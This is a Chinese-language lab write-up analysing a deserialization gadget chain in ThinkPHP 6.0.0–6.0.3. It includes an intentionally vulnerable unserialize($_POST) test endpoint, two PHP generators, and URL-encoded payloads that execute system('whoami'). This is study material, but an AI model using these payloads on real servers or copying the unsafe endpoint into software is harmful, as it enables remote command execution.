thinkPHP6 反序列化
thinkPHP6 反序列化
thinkPHP v6.0.0-6.0.3
环境搭建
新版v6基于 PHP7.1+ 开发
php-7.3.4
ThinkPHP v6.0.3
使用composer进行安装
composer create-project topthink/think=6.0.3 tp6.0

然后利用 phpstudy 打开框架,简单配置如下子,再同样的道理配置 phpstorm 的调试。
但是万事俱备正准备开审后发现打开怎么是 thinkphp 6.1.4 版本的。后面了解到 composer 下载 thinkphp 框架会自动下载当前的最新稳定版,然后我又去 github 把 thinkphp 6.0.3 的源码下下来,不过里面的是少了些文件的。需要执行 composer install,于是版本又变回了 thinkphp 6.1.4。
最后参考 https://blog.csdn.net/weixin_45794666/article/details/123237118 解决了问题。
修改 composer.json 文件参数

然后执行 composer update,又因为其版本不兼容 8.0.1 以上,然后根据报错文件位置修改最低 php 版本就可以访问了。

最终得到完美的 thinkphp 6.0.3

漏洞分析
__destruct 链条
添加反序列化入口。
public function poc(){
$tmp = $_POST['gaoren'];
echo $tmp;
unserialize($tmp);
}

然后现在就是需要找入口类了,一般发序列化的触发函数就是 __destruct 或者 __wakeup,但是 __wakeup 一般是作为对象初始化使用,所以这里先进行全局搜索 __destruct,

发现再 Model.php 中的 __destruct 方法再满足条件后调用了 save() 方法($this->lazySave 可以控制),跟进到该 save() 方法

这里想要调用 updateData() 方法需要满足上面的 if 条件,看到其还是个三元运算法,所以还需要其满足前面的条件 $result = $this->exists。
先跟进 isEmpty()

$this→data 可控,只要让 data[] 不为空,就会 false,再看看第二个条件,需要其为 true

看到如果 $this->withEvent 为 false 就会返回 true。同样可以控制。然后继续看 $result = $this->exists,其中 $this->exists 可控。
所以直接跟进updateData()

我们需要调用 $this->checkAllowFields(),看到在其前面要满足 3 个 if 条件。
先看第一个 if 条件
if (false === $this->trigger('BeforeUpdate'))
和上面一样函数 trigger() 可控,
第二个 if 条件
empty($data)
跟进函数 getChangedData(),

看到满足 if 条件后就会让 $data=1,$a 和 $b 都可以控制。
第三个 if 条件
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime]))
看到是&&只要不满足任意一个条件就行,这里需要 $data 为空,但是上面设置了 $data 为非空,
所以直接来到 $this->checkAllowFields() 方法。

看到存在字符串拼接,那么是不是就可以触发到 __tostring 魔术方法,但是后面调试发现并不会到这里,跟进到 db(),

看到这里同样存在字符串拼接还是两个,会执行并且条件也非常好满足。那么现在再来理一下链子
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
需要满足的条件
$lazySave == true
$data不为空
$withEvent == false
$this->exists == true
__tostring 链条
后面就是延续 tp5 反序列化的触发 __toString 魔术方法了,直接跟进到 E:\WebCMS\thinkphp\tp6\vendor\topthink\think-orm\src\model\concern\Conversion.php 中的 __tostring,

看到 toJson() 方法就在其上面,发现调用了 toArray 方法,跟进

这里重点是第三个 foreach 中的 getAttr() 方法,

但继续看下的 elseif 语句,如果不存在并且变量 $hasVisible 为 false 也可以调用 getAttr() 方法,而 $hasVisible 默认就是 false,所以会直接默认调用第二个 elseif 中的方法,

但是我在测试时发现在其打上断点没有用。但是在上面$data 的获取打上断点进入发现还是会调用到 getAttr() 方法,

继续进入 getValue() 方法。

这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data); 进行命令执行了。
先看第一个条件,需要存在 $this→withAttr[$fieldName],也就是数组 withAttr 存在 $fieldName 键对应的值,$fieldName 又等于 $name,朔源发现 $name 等于 $data 的键名。所以这里意思就是需要 $withAttr 和 $data 存在相同的键名。
然后看第二个条件 $ relation 要为 false,其默认就是 false 。
最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName] 不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system 。
然后再让 $data 键对应的值为命令即可。理下后半段链子
__toString()-->toJson()-->toArray()-->getAttr()-->getValue()
需要构造
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
poc 编写
poc1
先把 model 类中需要满足条件的变量进行赋值。

由于其是抽象类不能被实例化,需要用它的子类,发现 Pivot 继承了

所以先编写
<?php
namespace think;
abstract class Model{
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
然后再开始给变量赋值
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["Lethe" => "whoami"];
private $withAttr = ["Lethe" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
这里看到
$a = new Pivot();
$b = new Pivot($a);
实际上就是给 $table 赋值为一个对象。然后字符串拼接触发 __tostring,但是按理说应该调用 model 类中的 tostirng 方法,但是由于这里面没有 tostring 方法,那又是怎么调用到 Conversion 中的 tostring 呢?

看到直接 use 了该 trait,所以可以直接调用其中的方法,所以也就是触发到了其 tostring 方法,后面的就不用多说什么了。
然后之所以加上 use model\concern\Attribute; 是因为 trait 没法实例化也就没法赋值了,但是可以通过这种方式进行赋值,use 它,然后类实例化后就有它。
生成 poc
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D
poc2
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
原理其实是差不多,
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
$a=new Pivot();
$b=new Pivot($a);
只是这里并没有给 $suffix 或者是 $table 赋值,而是给 $name 赋值,调试

然后拼接调用 tostring 方法,

生成 poc
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
本地测试:


浙公网安备 33010602011771号